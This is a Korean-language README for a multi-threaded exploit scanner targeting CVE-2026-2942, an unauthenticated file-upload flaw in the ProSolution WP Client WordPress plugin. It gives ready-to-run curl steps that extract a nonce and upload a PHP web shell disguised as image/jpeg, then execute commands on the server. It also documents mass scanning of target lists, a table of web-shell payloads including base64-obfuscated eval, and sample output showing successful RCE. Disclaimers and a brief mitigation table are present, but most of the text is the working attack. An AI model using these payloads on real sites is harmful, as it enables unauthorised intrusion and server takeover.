
인증되지 않은 임의 파일 업로드 및 원격 코드 실행을 위한 ProSolution WP Client (CVE-2026-2942) 자동 스캐너. 다중 스레드 스캐닝, MIME 스푸핑, 셸 확인 및 침투 테스트를 위한 프록시 지원을 제공합니다.
플러그인: prosolution-wp-client
영향받는 버전: <= 1.9.9
취약점 유형: 인증되지 않은 임의 파일 업로드 → 원격 코드 실행
위험 수준: 🔴 심각 (CVSS 9.8)
요구 사항:[prosolfrontend]숏코드가 포함된 공개 페이지
ProSolution WP Client 플러그인의 proSol_fileUploadProcess AJAX action은
업로드된 파일의 MIME 타입을 검사하지만 확장자를 검증하지 않습니다.
공격자는 .php 확장자의 파일을 image/jpeg MIME 타입으로 전송하여
서버에 인증 없이 웹쉘을 업로드할 수 있습니다.
[prosolfrontend] 숏코드 페이지
│
▼
1. prosolObj.nonce → 공개 페이지에서 추출 (인증 불필요)
│
▼
2. POST /wp-admin/admin-ajax.php
action=proSol_fileUploadProcess
security=<nonce>
files[]=shell.php (Content-Type: image/jpeg) ← MIME 스푸핑
│
▼
3. /wp-content/uploads/prosolwpclient/[random].php 로 저장됨
│
▼
4. GET /wp-content/uploads/prosolwpclient/[random].php?cmd=id
│
▼
5. uid=33(www-data) → 인증되지 않은 RCE ✓
⚠️ 면책 조항: 이 PoC는 교육 및 방어적 보안 연구 목적으로만 제공됩니다. 소유한 시스템이나 명시적 서면 승인을 받은 시스템에서만 사용하십시오.
prosolution-wp-client 플러그인이 활성화됨 (버전 <= 1.9.9)[prosolfrontend] 숏코드가 포함된 게시된 WordPress 페이지[prosolfrontend] 숏코드가 포함된 공개 페이지를 방문하여
소스 코드에서 prosolObj.nonce 값을 추출합니다:
TARGET="https://target.example.com"
NONCE=$(curl -s "$TARGET/jobs" \
| grep -oP '"nonce"\s*:\s*"\K[^"]+')
echo "추출된 nonce: $NONCE"
소스 코드에서 찾을 구조:
<script id='prosolwpclient-public-js-extra'>
var prosolObj = {
"ajaxurl": "https://target.example.com/wp-admin/admin-ajax.php",
"nonce": "a1b2c3d4e5",
...
};
</script>
echo '<?php system($_GET["cmd"]); ?>' > /tmp/shell.php
.php 파일을 image/jpeg Content-Type으로 전송:
curl -s -X POST "$TARGET/wp-admin/admin-ajax.php" \
-F "action=proSol_fileUploadProcess" \
-F "security=$NONCE" \
-F "files[]=@/tmp/shell.php;type=image/jpeg" \
| python3 -m json.tool
예상 응답:
{
"files": [
{
"name": "shell.php",
"size": 31,
"url": "https://target.example.com/wp-content/uploads/prosolwpclient/shell.php",
"newfilename": "a3f8b2c1d9e4f7g2.php",
"rename_status": true,
"extension": "php"
}
]
}
"extension": "php"및"rename_status": true→.php파일이 성공적으로 저장됨.
SHELL_FILE="a3f8b2c1d9e4f7g2.php" # 3단계의 newfilename
curl -s "$TARGET/wp-content/uploads/prosolwpclient/$SHELL_FILE?cmd=id"
예상 출력:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
✅ 인증되지 않은 RCE 달성.
git clone https://github.com/kullanici/prosol-upload-scanner
cd prosol-upload-scanner
pip install -r requirements.txt
requirements.txt
requests
python prosol_upload.py -u http://hedef.com
python prosol_upload.py -u http://hedef.com --verify --verify-cmd "whoami"
python prosol_upload.py -l targets.txt -t 20 -o sonuclar.txt
python prosol_upload.py -u http://hedef.com --proxy http://127.0.0.1:8080
python prosol_upload.py -u http://hedef.com --shell-type full
WordPress 루트/
└── wp-content/
└── uploads/
└── prosolwpclient/
└── [random_hex].php ← 쉘 위치
[*] 3 대상 | ProSolution File Upload | threads=10
[★ UPLOADED ] http://hedef1.com
Shell URL : http://hedef1.com/wp-content/uploads/prosolwpclient/a3f8b2c1d9.php
새 이름 : a3f8b2c1d9.php (renamed=True)
[✓ RCE OK ] cmd 출력: uid=33(www-data) gid=33(www-data)
[- BLOCKED ] http://hedef2.com ext=jpeg
[~ TIMEOUT ] http://hedef3.com
───────────────────────────────────────────────
UPLOADED : 1 █
BLOCKED : 1 █
TIMEOUT : 1 █
───────────────────────────────────────────────
업로드된 쉘 → uploaded.txt
───────────────────────────────────────────────
uploads/ 디렉터리용 .htaccess:
<FilesMatch "\.php$">
Deny from all
</FilesMatch>
이 도구 및 PoC는 승인된 시스템에서 교육 목적 및 침투 테스트 범위 내에서만 사용하도록 작성되었습니다.
무단 시스템에서의 사용은 터키 형법 243-245조 및 국제 사이버 범죄법에 따라 범죄 행위입니다.
개발자는 이 도구의 오용으로 인한 어떠한 법적 책임도 지지 않습니다.
MIT License — 교육 및 연구 목적으로만 사용됩니다.
| 매개변수 | 약어 | 설명 | 기본값 |
|---|
--url | -u | 단일 대상 URL | — |
--list | -l | 대상 목록 파일 | — |
--threads | -t | 스레드 수 | 10 |
--output | -o | 출력 파일 | uploaded.txt |
--shell-name | — | 업로드할 파일 이름 | shell.php |
--shell-type | — | 쉘 유형 | system |
--verify | — | 업로드 후 RCE 테스트 | False |
--verify-cmd | — | 검증 명령어 | id |
--proxy | — | 프록시 URL | — |
--timeout | — | 요청 타임아웃 (초) | 10 |
| 유형 | 페이로드 | 설명 |
|---|
system | <?php system($_GET["cmd"]); ?> | 기본 시스템 명령어 |
passthru | <?php passthru($_GET["cmd"]); ?> | 원시 출력 |
exec | <?php echo exec($_GET["cmd"]); ?> | 조용한 실행 |
assert | <?php assert($_POST["cmd"]); ?> | POST로 eval |
b64 | <?php eval(base64_decode($_POST["cmd"])); ?> | Base64 난독화 |
full | shell_exec + system + exec fallback | 완전한 쉘 |
| 상태 | 설명 |
|---|
★ UPLOADED | 쉘이 성공적으로 업로드됨 |
✓ RCE OK | 쉘 검증됨, 명령어 실행 |
- BLOCKED | 서버가 PHP 확장자를 차단함 |
~ TIMEOUT | 연결 시간 초과 |
~ CONN_ERR | 연결 오류 |
! HTTP_ERR | HTTP 오류 코드 |
| 조치 | 적용 방법 |
|---|
| PHP 실행 차단 | uploads/ 디렉터리에 .htaccess 추가 |
| 플러그인 업데이트 | 버전 > 1.9.9로 업그레이드 또는 제거 |
| 확장자 화이트리스트 | 서버 측에서 허용된 확장자만 허용 |
| MIME 검증 | finfo_file()로 실제 콘텐츠 확인 |
| WAF 규칙 | .php 업로드 요청 차단 |